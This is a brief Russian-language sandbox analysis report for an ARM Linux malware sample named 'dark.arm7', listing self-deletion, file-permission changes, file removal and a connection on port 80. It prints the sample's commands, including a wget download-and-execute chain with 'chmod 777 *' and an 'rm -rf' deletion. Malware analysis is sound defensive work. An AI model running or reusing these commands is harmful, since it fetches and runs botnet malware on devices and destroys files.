Техническая информация
Вредоносные функции:
Самоудаляется
Запускает процессы:
- /bin/sh -c wget http://0.0.0.0/dark_bins/dark.arm7; chmod 777 *; ./dark.arm7 wget.loader.arm7
- wget http://0.0.0.0/dark_bins/dark.arm7
- chmod 777 run.sh stdout.log
- ./dark.arm7 wget.loader.arm7
- /bin/sh -c rm -rf harm
- rm -rf harm
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/run.sh
Удаляет файлы:
- /root/harm
Сетевая активность:
Устанавливает соединение:
- 0.0.0.0:80
